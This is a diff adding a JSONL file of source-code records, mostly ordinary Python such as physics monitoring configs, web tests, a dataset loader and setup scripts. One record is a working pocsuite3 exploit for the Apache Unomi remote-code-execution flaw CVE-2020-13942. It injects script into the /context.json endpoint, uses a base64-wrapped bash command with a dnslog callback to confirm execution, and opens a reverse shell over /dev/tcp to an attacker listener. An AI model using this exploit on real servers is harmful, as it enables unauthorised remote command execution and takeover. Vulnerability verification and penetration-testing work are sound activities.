diff --git "a/4080.jsonl" "b/4080.jsonl" new file mode 100644--- /dev/null +++ "b/4080.jsonl" @@ -0,0 +1,716 @@ +{"seq_id":"527737623","text":"#\n# Copyright (C) 2002-2020 CERN for the benefit of the ATLAS collaboration\n#\n'''\n@file TileRawChannelTimeMonitorAlgorithm.py\n@brief Python configuration of TileRawChannelTimeMonitorAlgorithm algorithm for the Run III\n'''\ndef TileRawChannelTimeMonitoringConfig(flags, **kwargs):\n\n ''' Function to configure TileRawChannelTimeMonitorAlgorithm algorithm in the monitoring system.'''\n\n # Define one top-level monitoring algorithm. The new configuration\n # framework uses a component accumulator.\n from AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\n result = ComponentAccumulator()\n\n from TileRecUtils.TileDQstatusConfig import TileDQstatusAlgCfg\n result.merge( TileDQstatusAlgCfg(flags) )\n\n from TileGeoModel.TileGMConfig import TileGMCfg\n result.merge(TileGMCfg(flags))\n\n from TileConditions.TileCablingSvcConfig import TileCablingSvcCfg\n result.merge( TileCablingSvcCfg(flags) )\n\n from TileConditions.TileBadChannelsConfig import TileBadChannelsCondAlgCfg\n result.merge( TileBadChannelsCondAlgCfg(flags, **kwargs) )\n\n kwargs.setdefault('CheckDCS', flags.Tile.useDCS)\n if kwargs['CheckDCS']:\n from TileConditions.TileDCSConfig import TileDCSCondAlgCfg\n result.merge( TileDCSCondAlgCfg(flags) )\n\n kwargs.setdefault('TriggerChain', '')\n\n # Partition pairs to monitor average time difference between partitions (ROS - 1)\n partitionPairs = [[0, 1], [0, 2], [0, 3], [1, 2], [1, 3], [2, 3]]\n kwargs.setdefault('PartitionTimeDiffferncePairs', partitionPairs)\n\n # The following class will make a sequence, configure algorithms, and link\n # them to GenericMonitoringTools\n from AthenaMonitoring import AthMonitorCfgHelper\n helper = AthMonitorCfgHelper(flags,'TileRawChannelTimeMonitoring')\n\n # Adding an TileCellMonitorAlgorithm algorithm to the helper\n from AthenaConfiguration.ComponentFactory import CompFactory\n TileRawChannelTimeMonitorAlgorithm = CompFactory.TileRawChannelTimeMonitorAlgorithm\n tileRawChanTimeMonAlg = helper.addAlgorithm(TileRawChannelTimeMonitorAlgorithm, 'TileRawChanTimeMonAlg')\n\n for k, v in kwargs.items():\n setattr(tileRawChanTimeMonAlg, k, v)\n\n run = str(flags.Input.RunNumber[0])\n\n # 1) Configure histogram with TileRawChannelTimeMonAlg algorithm execution time\n executeTimeGroup = helper.addGroup(tileRawChanTimeMonAlg, 'TileRawChanTimeMonExecuteTime', 'Tile/')\n executeTimeGroup.defineHistogram('TIME_execute', path = 'RawChannelTime', type='TH1F',\n title = 'Time for execute TileRawChanTimeMonAlg algorithm;time [#mus]',\n xbins = 100, xmin = 0, xmax = 100000)\n\n\n from TileMonitoring.TileMonitoringCfgHelper import addTileModuleChannelMapsArray\n\n # 2) Configure histograms with status of Tile channel time per partition\n addTileModuleChannelMapsArray(helper, tileRawChanTimeMonAlg, name = 'TileAverageTime',\n title = 'Tile average time', path = 'Tile/RawChannelTime/Summary',\n type = 'TProfile2D', value = 'time', run = run)\n\n from TileMonitoring.TileMonitoringCfgHelper import addTile2DHistogramsArray\n\n # 3) Configure histograms with Tile partition average time vs luminosity block per partition\n addTile2DHistogramsArray(helper, tileRawChanTimeMonAlg, name = 'TileAverageTimeLB',\n xvalue = 'lumiBlock', yvalue = 'time', type='TH2D',\n title = 'Tile Average time vs LumiBlock;LumiBlock;t [ns]',\n path = 'Tile/RawChannelTime/Summary', run = run, perPartition = True,\n xbins = 3000, xmin = -0.5, xmax = 2999.5, ybins = 149, ymin = -74.5, ymax = 74.5)\n\n\n from TileMonitoring.TileMonitoringCfgHelper import getPartitionName\n\n # 4) Configure histograms with Tile partition average time difference vs luminosity block\n partitionPairs = kwargs['PartitionTimeDiffferncePairs']\n partTimeDiffVsLBArray = helper.addArray([len(partitionPairs)], tileRawChanTimeMonAlg,\n 'TileAverageTimeDifferenceLB', topPath = 'Tile/RawChannelTime')\n for postfix, tool in partTimeDiffVsLBArray.Tools.items():\n pairIdx = int(postfix.split('_').pop())\n partitionName1, partitionName2 = [getPartitionName(ros + 1) for ros in partitionPairs[pairIdx]]\n\n title = 'Run %s: Average time between %s and %s' % (run, partitionName1, partitionName2)\n title += ' vs luminosity block;LumiBlock;t [ns]'\n name = 'lumiBlock,time;TileAverageTimeDifferenceLB_%s-%s' % (partitionName1, partitionName2)\n\n tool.defineHistogram(name, title = title, path = 'Summary', type = 'TProfile',\n xbins = 1000, xmin = -0.5, xmax = 999.5, opt = 'kAddBinsDynamically')\n\n\n from TileCalibBlobObjs.Classes import TileCalibUtils as Tile\n\n # 5) Configure histograms with Tile digitizer time vs luminosity block per digitizer\n maxDigitizer = 8\n digiTimeVsLBArray = helper.addArray([int(Tile.MAX_ROS - 1), int(Tile.MAX_DRAWER), maxDigitizer],\n tileRawChanTimeMonAlg, 'TileDigitizerTimeLB', topPath = 'Tile/RawChannelTime')\n for postfix, tool in digiTimeVsLBArray.Tools.items():\n ros, module, digitizer = [int(x) for x in postfix.split('_')[1:]]\n\n moduleName = Tile.getDrawerString(ros + 1, module)\n title = 'Run ' + run + ' ' + moduleName + ' Digitizer ' + str(digitizer)\n title += ': Time vs luminosity block;LumiBlock;t [ns]'\n name = 'lumiBlock,time;TileDigitizerTimeLB_' + moduleName + '_DIGI_' + str(digitizer)\n path = getPartitionName(ros + 1) + '/' + moduleName\n\n tool.defineHistogram(name, title = title, path = path, type = 'TProfile',\n xbins = 1000, xmin = -0.5, xmax = 999.5, opt = 'kAddBinsDynamically')\n\n accumalator = helper.result()\n result.merge(accumalator)\n return result\n\nif __name__=='__main__':\n\n # Setup the Run III behavior\n from AthenaCommon.Configurable import Configurable\n Configurable.configurableRun3Behavior = True\n\n # Setup logs\n from AthenaCommon.Logging import log\n from AthenaCommon.Constants import INFO\n log.setLevel(INFO)\n\n # Set the Athena configuration flags\n from AthenaConfiguration.AllConfigFlags import ConfigFlags\n\n inputDirectory = '/cvmfs/atlas-nightlies.cern.ch/repo/data/data-art/TileByteStream/TileByteStream-02-00-00'\n inputFile = 'data18_tilecomm.00363899.calibration_tile.daq.RAW._lb0000._TileREB-ROS._0005-200ev.data'\n ConfigFlags.Input.Files = [inputDirectory + '/' + inputFile]\n ConfigFlags.Output.HISTFileName = 'TileRawChannelTimeMonitorOutput.root'\n ConfigFlags.DQ.useTrigger = False\n ConfigFlags.DQ.enableLumiAccess = False\n\n ConfigFlags.Tile.RunType = 'LAS'\n ConfigFlags.Tile.TimingType = 'GAP/LAS'\n ConfigFlags.Tile.doFit = True\n ConfigFlags.Tile.correctTime = True\n ConfigFlags.Tile.doOverflowFit = False\n ConfigFlags.Tile.BestPhaseFromCOOL = True\n ConfigFlags.Tile.NoiseFilter = 1\n\n ConfigFlags.lock()\n\n # Initialize configuration object, add accumulator, merge, and run.\n from AthenaConfiguration.MainServicesConfig import MainServicesCfg\n cfg = MainServicesCfg(ConfigFlags)\n\n from ByteStreamCnvSvc.ByteStreamConfig import ByteStreamReadCfg\n tileTypeNames = ['TileRawChannelContainer/TileRawChannelCnt',\n 'TileDigitsContainer/TileDigitsCnt',\n 'TileBeamElemContainer/TileBeamElemCnt']\n cfg.merge( ByteStreamReadCfg(ConfigFlags, type_names = tileTypeNames) )\n\n from TileRecUtils.TileRawChannelMakerConfig import TileRawChannelMakerCfg\n cfg.merge( TileRawChannelMakerCfg(ConfigFlags) )\n\n cfg.merge( TileRawChannelTimeMonitoringConfig(ConfigFlags) )\n\n cfg.printConfig(withDetails = True, summariseProps = True)\n ConfigFlags.dump()\n\n cfg.store( open('TileRawChannelTimeMonitorAlgorithm.pkl','wb') )\n\n sc = cfg.run(maxEvents=3)\n\n import sys\n # Success should be 0\n sys.exit(not sc.isSuccess())\n","sub_path":"TileCalorimeter/TileMonitoring/python/TileRawChannelTimeMonitorAlgorithm.py","file_name":"TileRawChannelTimeMonitorAlgorithm.py","file_ext":"py","file_size_in_byte":8139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"174605612","text":"import sys\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Tuple\n\nfrom serde import deserialize, serialize\nfrom serde.json import from_json, to_json\n\nPY39 = sys.version_info[:3] >= (3, 9, 0)\n\n\n@deserialize\n@serialize\n@dataclass\nclass Foo:\n l: List[str]\n t: Tuple[str, bool]\n d: Dict[str, List[str]]\n\n\n# For python >= 3.9, you can use [PEP585](https://www.python.org/dev/peps/pep-0585/)\n# style type annotations for standard collections.\nif PY39:\n\n @deserialize\n @serialize\n @dataclass\n class FooPy39:\n l: list[str]\n t: tuple[str, bool]\n d: dict[str, list[int]]\n\n\ndef main():\n cls = Foo if not PY39 else FooPy39\n\n h = cls([1, 2], ('foo', True), {'bar': [10, 20]})\n print(f\"Into Json: {to_json(h)}\")\n\n s = '{\"l\": [1, 2], \"t\": [\"foo\", true], \"d\": {\"bar\": [10, 20]}}'\n print(f\"From Json: {from_json(cls, s)}\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"613077262","text":"from starlette.testclient import TestClient\nfrom starlette_auth.tables import User\n\nfrom app.main import app\n\n\ndef get_user():\n user = User(email=\"ted@example.com\", first_name=\"Ted\", last_name=\"Bundy\")\n user.save()\n url = app.url_path_for(\"user_update\", user_id=user.id)\n\n return user, url\n\n\ndef test_response():\n _, url = get_user()\n with TestClient(app) as client:\n response = client.get(url)\n assert response.status_code == 200\n assert response.template.name == \"update.html\"\n assert response.url == f\"http://testserver{url}\"\n\n\ndef test_has_correct_context():\n _, url = get_user()\n with TestClient(app) as client:\n response = client.get(url)\n assert \"request\" in response.context\n\n\ndef test_template():\n _, url = get_user()\n with TestClient(app) as client:\n response = client.get(url)\n assert response.template.name == \"update.html\"\n\n\ndef test_post_update():\n user, url = get_user()\n with TestClient(app) as client:\n response = client.post(\n url,\n data={\n \"first_name\": user.first_name,\n \"last_name\": user.last_name,\n \"email\": user.email,\n \"is_active\": user.is_active,\n },\n )\n\n # after saving page should be redirt to users screen\n assert response.status_code == 302\n assert response.next.url == f\"http://testserver/users\"\n","sub_path":"src/tests/endpoints/test_update.py","file_name":"test_update.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"504076178","text":"import os\n\nimport cv2\nimport numpy as np\nimport torch.utils.data as data\n\nfrom utils.io_utils import load_cam, load_pfm, load_pair, cam_adjust_max_d\nfrom utils.preproc import to_channel_first, resize, center_crop, image_net_center as center_image\nfrom data.data_utils import dict_collate\nfrom utils.utils import print_dict\n\n\nclass TanksAndTemples(data.Dataset):\n\n def __init__(self, root, num_src, subset, read, transforms):\n self.root = root\n self.num_src = num_src\n self.read = read\n self.transforms = transforms\n self.subset = subset\n assert self.subset in [\"intermediate\", \"advanced\"]\n\n # self.scene_names = ['Family', 'Francis', 'Horse', 'Lighthouse', 'M60', 'Panther', 'Playground', 'Train']\n # self.scene_idx = int(os.environ['SCAN'])\n # self.pair = load_pair(os.path.join(self.root, f'intermediate/{self.scene_names[self.scene_idx]}/pair.txt'))\n\n self.scene = str(os.environ['SCENE'])\n self.pair_file = os.path.join(self.root, self.subset, \"{}/pair.txt\".format(self.scene))\n self.pair = load_pair(self.pair_file)\n\n def __len__(self):\n return len(self.pair)\n\n def __getitem__(self, i):\n ref_idx = i\n src_idxs = self.pair[ref_idx][:self.num_src]\n\n # ref, *srcs = [os.path.join(self.root, f'intermediate/{self.scene_names[self.scene_idx]}/images/{idx:08}.jpg') for idx in [ref_idx] + src_idxs]\n # ref_cam, *srcs_cam = [\n # os.path.join(self.root, f'intermediate/{self.scene_names[self.scene_idx]}/cams_{self.scene_names[self.scene_idx].lower()}/{idx:08}_cam.txt') for idx\n # in [ref_idx] + src_idxs]\n\n ref, *srcs = [os.path.join(self.root, f'{self.subset}/{self.scene}/images/{idx:08}.jpg') for idx in [ref_idx] + src_idxs]\n\n if self.subset == \"intermediate\":\n ref_cam, *srcs_cam = [os.path.join(self.root, f'intermediate/{self.scene}/cams_{self.scene.lower()}/{idx:08}_cam.txt') for idx in [ref_idx] + src_idxs]\n elif self.subset == \"advanced\":\n ref_cam, *srcs_cam = [os.path.join(self.root, f'advanced/{self.scene}/cams/{idx:08}_cam.txt') for idx in [ref_idx] + src_idxs]\n\n skip = 0\n\n sample = self.read({'ref':ref, 'ref_cam':ref_cam, 'srcs':srcs, 'srcs_cam':srcs_cam, 'skip':skip})\n for t in self.transforms:\n sample = t(sample)\n return sample\n\n\ndef read(filenames, max_d, interval_scale):\n ref_name, ref_cam_name, srcs_name, srcs_cam_name, skip = [filenames[attr] for attr in ['ref', 'ref_cam', 'srcs', 'srcs_cam', 'skip']]\n print(\"ref_name: {}\".format(ref_name))\n ref, *srcs = [cv2.imread(fn) for fn in [ref_name] + srcs_name]\n ref_cam, *srcs_cam = [load_cam(fn, max_d, interval_scale) for fn in [ref_cam_name] + srcs_cam_name]\n gt = np.zeros((ref.shape[0], ref.shape[1], 1))\n masks = [np.zeros((ref.shape[0], ref.shape[1], 1)) for i in range(len(srcs))]\n return {\n 'ref': ref,\n 'ref_cam': ref_cam,\n 'srcs': srcs,\n 'srcs_cam': srcs_cam,\n 'gt': gt,\n 'masks': masks,\n 'skip': skip\n }\n\n\ndef val_preproc(sample, preproc_args):\n ref, ref_cam, srcs, srcs_cam, gt, masks, skip = [sample[attr] for attr in ['ref', 'ref_cam', 'srcs', 'srcs_cam', 'gt', 'masks', 'skip']]\n\n ref, *srcs = [center_image(img) for img in [ref] + srcs]\n ref, ref_cam, srcs, srcs_cam, gt, masks = resize([ref, ref_cam, srcs, srcs_cam, gt, masks], preproc_args['resize_width'], preproc_args['resize_height'])\n ref, ref_cam, srcs, srcs_cam, gt, masks = center_crop([ref, ref_cam, srcs, srcs_cam, gt, masks], preproc_args['crop_width'], preproc_args['crop_height'])\n ref, *srcs, gt = to_channel_first([ref] + srcs + [gt])\n masks = to_channel_first(masks)\n\n srcs, srcs_cam, masks = [np.stack(arr_list, axis=0) for arr_list in [srcs, srcs_cam, masks]]\n\n return {\n 'ref': ref, # 3hw\n 'ref_cam': ref_cam, # 244\n 'srcs': srcs, # v3hw\n 'srcs_cam': srcs_cam, # v244\n 'gt': gt, # 1hw\n 'masks': masks, # v1hw\n 'skip': skip # scalar\n }\n\n\ndef get_val_loader(root, num_src, subset, preproc_args):\n dataset = TanksAndTemples(\n root, num_src, subset,\n read=lambda filenames: read(filenames, preproc_args['max_d'], preproc_args['interval_scale']),\n transforms=[lambda sample: val_preproc(sample, preproc_args)]\n )\n loader = data.DataLoader(dataset, 1, collate_fn=dict_collate, shuffle=False)\n return dataset, loader\n\n# some test code here\nif __name__ == \"__main__\":\n # dataset, loader =\n data_root = \"/mnt/B/qiyh/mvsnet/preprocessed_inputs/tt/\"\n num_src = 7\n subset = \"advanced\"\n interval_scale = 1.0\n max_d = 256\n resize_width, resize_height = 1920, 1080\n crop_width, crop_height = 1920, 1056\n\n # os.environ[\"SCAN\"] = '0'\n os.environ['SCENE'] = \"Auditorium\"\n\n dataset, loader = get_val_loader(\n data_root, num_src, subset,\n {\n 'interval_scale': interval_scale,\n 'max_d': max_d,\n 'resize_width': resize_width,\n 'resize_height': resize_height,\n 'crop_width': crop_width,\n 'crop_height': crop_height\n }\n )\n\n print(\"lens: {}\".format(len(dataset)))\n sample = dataset[0]\n print(\"dataset: {}\".format(sample.keys()))\n\n print_dict(sample)\n # input rgb image\n import cv2\n cv2.imshow(\"ref_view\", sample[\"ref\"].transpose(1, 2, 0))\n # cv2.imshow(\"src_view\", sample[\"srcs\"][0].transpose(1, 2, 0))\n cv2.waitKey(0)\n\n","sub_path":"data/tanksandtemples.py","file_name":"tanksandtemples.py","file_ext":"py","file_size_in_byte":5530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"293319203","text":"import numpy as np\r\nfrom matplotlib import cm\r\nfrom matplotlib import pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n\r\ndef plot_iteration(arr, min_it=0, max_it=None):\r\n plt.figure()\r\n plt.plot(np.arange(len(arr[min_it:max_it])), np.array(arr[min_it:max_it]))\r\n plt.show()\r\n\r\n\r\ndef plot_fun(fun, d_x=0.01, title=None, return_ax=False, **kwargs):\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111, projection='3d')\r\n x = y = np.arange(0, 1.0+d_x, d_x)\r\n X, Y = np.meshgrid(x, y)\r\n\r\n zs = np.array([fun(x,y,**kwargs) for x,y in zip(np.ravel(X), np.ravel(Y))])\r\n Z = zs.reshape(X.shape)\r\n\r\n ax.plot_surface(X, Y, Z, cmap=cm.coolwarm_r)\r\n\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n ax.title.set_text(title)\r\n\r\n if return_ax:\r\n return ax\r\n else:\r\n plt.show()\r\n","sub_path":"numba test/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"449516318","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom pocsuite3.api import get_listener_ip, get_listener_port, register_poc\nfrom pocsuite3.api import Output, POCBase\nfrom pocsuite3.api import POC_CATEGORY, VUL_TYPE\nfrom pocsuite3.api import requests,VUL_TYPE, logger\nimport time\nimport base64\n\nclass ApacheUnomiCVE202013942POC1(POCBase):\n #PoC信息字段,需要完整填写全部下列信息\n vulID = '00002' #漏洞编号,若提交漏洞的同时提交PoC,则写成0\n version = '1' #PoC版本,默认为1\n author = 'A11an' #此PoC作者\n vulDate = '2020-06-08' #漏洞公开日期\n createDate = '2021-08-20' #编写PoC日期\n updateDate = '2021-08-20' #更新PoC日期,默认与createDate一样\n references = [\n 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13942'\n ] #漏洞地址来源,0day不写\n name = 'CVE-2020-13942 Apache Unomi RCE' #PoC名称\n appPowerLink = 'http://unomi.apache.org/' #漏洞产商主页\n appName = 'Apache Unomi' #漏洞应用名称\n appVersion = 'Apache Unomi < 1.5.2' #漏洞影响版本\n vulType = 'Apache Unomi RCE' #漏洞类型\n category = POC_CATEGORY.EXPLOITS.WEBAPP\n desc = '''\n It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint. This was partially fixed in 1.5.1 but a new attack vector was found. In Apache Unomi version 1.5.2 scripts are now completely filtered from the input. It is highly recommended to upgrade to the latest available version of the 1.5.x release to fix this problem.\n ''' #在漏洞描述填写\n samples = [] #测试成功网址\n install_requires = [''] #PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给��的参考链接\n pocDesc = '''PoC用法描述''' #在PoC用法描述填写\n\n #编写验证模式\n #通过dnslog回显\n def _verify(self):\n result = {}\n getdnssub_url = 'http://www.dnslog.cn/getdomain.php'\n getres_url = 'http://www.dnslog.cn/getrecords.php'\n dnsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64'}\n dnssess = requests.session()\n #获取dnslog的subdomain\n try:\n dnsreq = dnssess.get(url=getdnssub_url,headers=dnsheaders,allow_redirects=False,verify=False,timeout=10)\n except Exception as e:\n logger.warn(str(e))\n\n #执行ping dnslog的请求\n pocurl = self.url + '/context.json'\n pocheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',\n 'Content-Type': 'application/json;charset=UTF-8',\n 'Content-Length': '1003',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9'\n }\n payload = 'ping catchyou.'+dnsreq.text\n payload = 'bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}'\n pocjson = '{\"filters\": [{ \"id\": \"6666\",\"filters\": [ {\"condition\": {\"parameterValues\": { \"\": \"script::Runtime r = Runtime.getRuntime(); r.exec(\\\\\" ' + payload + '\\\\\");\" }, \"type\": \"profilePropertyCondition\"}}]}],\"sessionId\": \"6666\"}'\n # pocjson = '{\"filters\": [{ \"id\": \"6666\",\"filters\": [ {\"condition\": {\"parameterValues\": { \"\": \"script::Runtime r = Runtime.getRuntime(); r.exec(\\\\\"bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}\\\\\");\" }, \"type\": \"profilePropertyCondition\"}}]}],\"sessionId\": \"6666\"}'\n try:\n r2 = requests.post(url=pocurl, headers=pocheaders, data=pocjson, verify=False) #执行ping指令\n time.sleep(5)\n except Exception as e:\n logger.warn(str(e))\n #检查dnslog日志\n try:\n dnsres = dnssess.get(url=getres_url,headers=dnsheaders,allow_redirects=False,verify=False,timeout=10)\n if dnsres.status_code == 200 and 'catchyou' in dnsres.text:\n result['VerifyInfo'] = {}\n # result['VerifyInfo']['URL'] = '{}:{}'.format(pr.hostname, pr.port)\n result['VerifyInfo']['URL'] = self.url\n result['extra'] = {}\n result['extra']['evidence'] = dnsres.text\n except Exception as e:\n logger.warn(str(e))\n return self.parse_attack(result)\n\n #编写攻击模式,此处直接给到验证模式,读者可以自行写出payload,获取管理员账号密码等信息。\n def _attack(self):\n return self._verify()\n\n def _shell(self):\n result = {}\n #执行反弹shell的请求\n pocurl = self.url + '/context.json'\n pocheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64',\n 'Content-Type': 'application/json;charset=UTF-8',\n 'Content-Length': '1003',\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9'\n }\n IP = get_listener_ip()\n PORT = get_listener_port()\n # IP = yourlistenerip\n # PORT = yourlistenerport\n payload = 'bash -i >& /dev/tcp/' + IP + '/' + str(PORT) +' 0>&1'\n payload = 'bash -c {echo,' + (base64.b64encode(payload.encode('utf8'))).decode('utf8') + '}|{base64,-d}|{bash,-i}'\n pocjson = '{\"filters\": [{ \"id\": \"6666\",\"filters\": [ {\"condition\": {\"parameterValues\": { \"\": \"script::Runtime r = Runtime.getRuntime(); r.exec(\\\\\" ' + payload + '\\\\\");\" }, \"type\": \"profilePropertyCondition\"}}]}],\"sessionId\": \"6666\"}'\n try:\n r2 = requests.post(url=pocurl, headers=pocheaders, data=pocjson, verify=False) #执行ping指令\n except Exception as e:\n logger.warn(str(e))\n \n return self.parse_attack(result)\n\n #自定义输出函数,调用框架输出的实例Output\n def parse_attack(self, result):\n output = Output(self)\n if result:\n output.success(result)\n else:\n output.fail(\"not vulnerability\")\n return output\n\n #注册PoC类,这样框架才知道这是PoC类\nregister_poc(ApacheUnomiCVE202013942POC1)\n","sub_path":"CVE-2020-13942-poc/apache_unomi_cve202013942_poc1.py","file_name":"apache_unomi_cve202013942_poc1.py","file_ext":"py","file_size_in_byte":6416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"547817946","text":"#!/usr/bin/env python\n\nimport ast\nimport os\n\nfrom setuptools import setup, find_packages\n\n\ndef this_dir():\n return os.path.dirname(os.path.abspath(__file__))\n\n\ndef read_version(path):\n with open(path) as fh:\n for line in fh:\n stripped = line.strip()\n if stripped == '' or stripped.startswith('#'):\n continue\n elif line.startswith('from __future__ import'):\n continue\n else:\n if not line.startswith('__version__ = '):\n raise Exception(\"Can't find __version__ line in \" + path)\n break\n else:\n raise Exception(\"Can't find __version__ line in \" + path)\n _, _, quoted = line.rstrip().partition('= ')\n return ast.literal_eval(quoted)\n\n\nclassifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 3',\n]\n\n\ninstall_requires = [\n \"python-consul>=0.7.0\",\n]\n\n\nversion = read_version(os.path.join(this_dir(), 'servicecatalog/_version.py'))\n\n\nsetup(\n name='servicecatalog',\n url='https://github.com/madedotcom/servicecatalog',\n\n author='Bob Gregory',\n author_email='bob@made.com',\n classifiers=classifiers,\n description='Provides a simple dict-based interface to Consul\\'s service discovery.',\n install_requires=install_requires,\n license='MIT',\n package_dir={'': '.'},\n packages=find_packages('.'),\n platforms=['any'],\n version=version,\n zip_safe=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215866376","text":"import json\nfrom setuptools import setup, find_namespace_packages\n\nwith open('osvimdriver/pkg_info.json') as fp:\n _pkg_info = json.load(fp)\n\nwith open(\"DESCRIPTION.md\", \"r\") as description_file:\n long_description = description_file.read()\n\nsetup(\n name='os-vim-driver',\n version=_pkg_info['version'],\n author='Accanto Systems',\n description='Openstack implementation of a VIM driver',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/accanto-systems/openstack-vim-driver\",\n packages=find_namespace_packages(include=['osvimdriver*']),\n include_package_data=True,\n install_requires=[\n 'ignition-framework{0}'.format(_pkg_info['ignition-version']),\n 'python-heatclient>=1.17.0,<2.0',\n 'python-keystoneclient>=3.19.0,<4.0',\n 'python-neutronclient>=6.5.1,<7.0',\n 'python-novaclient>=13.0.0,<14.0.0',\n 'tosca-parser @ git+https://github.com/accanto-systems/tosca-parser.git@accanto',\n 'heat-translator @ git+https://github.com/accanto-systems/heat-translator.git@accanto-nfv',\n 'uwsgi>=2.0.18,<3.0',\n 'gunicorn>=19.9.0,<20.0'\n ],\n entry_points='''\n [console_scripts]\n ovd-dev=osvimdriver.__main__:main\n ''',\n scripts=['osvimdriver/bin/ovd-uwsgi', 'osvimdriver/bin/ovd-gunicorn', 'osvimdriver/bin/ovd']\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"271680739","text":"from datetime import datetime\n\nimport pytz\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom app.data import Data\n\n\nclass Model:\n\n def __init__(self, data_api: Data):\n df = data_api.find({}).drop(columns=[\n \"Name\", \"Damage\", \"Type\", \"Time Stamp\",\n ])\n target = df[\"Rarity\"]\n features = df.drop(columns=[\"Rarity\"])\n self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(\n features,\n target,\n test_size=0.20,\n stratify=target,\n random_state=42,\n )\n self.total = data_api.count\n self.total_trained = self.y_train.shape[0]\n self.total_tested = self.y_test.shape[0]\n self.model = RandomForestClassifier(\n n_jobs=-1,\n random_state=42,\n n_estimators=99,\n )\n self.name = str(self.model).split('(')[0]\n lambda_time = pytz.timezone('US/Pacific')\n start_time = datetime.now(lambda_time)\n self.model.fit(self.X_train, self.y_train)\n stop_time = datetime.now(lambda_time)\n self.duration = stop_time - start_time\n self.time_stamp = stop_time.strftime('%Y-%m-%d %H:%M:%S')\n\n def __call__(self, feature_basis):\n prediction, *_ = self.model.predict([feature_basis])\n probability, *_ = self.model.predict_proba([feature_basis])\n return prediction, max(probability)\n\n @property\n def info(self):\n output = (\n f\"Model: {self.model}\",\n f\"Time Stamp: {self.time_stamp}\",\n f\"Testing Score: {100 * self.score():.3f}%\",\n f\"Total Row Count: {self.total}\",\n f\"Training Row Count: {self.total_trained}\",\n f\"Testing Row Count: {self.total_tested}\",\n f\"Time to Train: {self.duration}\",\n )\n return \"\\n\".join(output)\n\n def score(self):\n return self.model.score(self.X_test, self.y_test)\n","sub_path":"app/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"350683970","text":"\"\"\"\r\nimporting the required packages\r\n\"\"\"\r\nimport sys\r\nimport logging\r\nimport re\r\nimport uuid\r\nfrom collections import Counter\r\n\r\nlogging.basicConfig(filename=\"sample.txt\",filemode='a',\r\n format='%(asctime)s %(levelname)s-%(message)s',\r\n datefmt='%Y-%m-%d %H:%M:%S')\r\nlogger = logging.getLogger()\r\nlogger.setLevel(logging.DEBUG)\r\n\r\nclass Task:\r\n \"\"\"\r\n parent class with read and write operations on files\r\n \"\"\"\r\n def __init__(self,filename):\r\n \"\"\"\r\n constructor for initialization\r\n \"\"\"\r\n self.filename=filename\r\n self.words=[]\r\n self.un_fname= \"\"\r\n self.most_repeat=\"\"\r\n\r\n\r\n def read(self):\r\n \"\"\"\r\n this function is to read a file and slit the data into words and append to a list\r\n \"\"\"\r\n try:\r\n with open(self.filename,'r+',encoding=\"UTF-8\") as file:\r\n data=file.readlines()\r\n except IOError:\r\n logging.error(\"exception occurred\")\r\n for i in data:\r\n self.words.extend(i.split())\r\n logging.info('file reading and splitting into words')\r\n logging.info(self.words)\r\n\r\n\r\n def write(self):\r\n \"\"\"\r\n this funtion is to write an output file\r\n \"\"\"\r\n try:\r\n with open('self.un_name','w',encoding=\"utf-8\") as output_file:\r\n output_file.write(\"-\".join(self.words)+'\\n')\r\n logging.info('file written successfully')\r\n except IOError:\r\n logging.error(\"exception 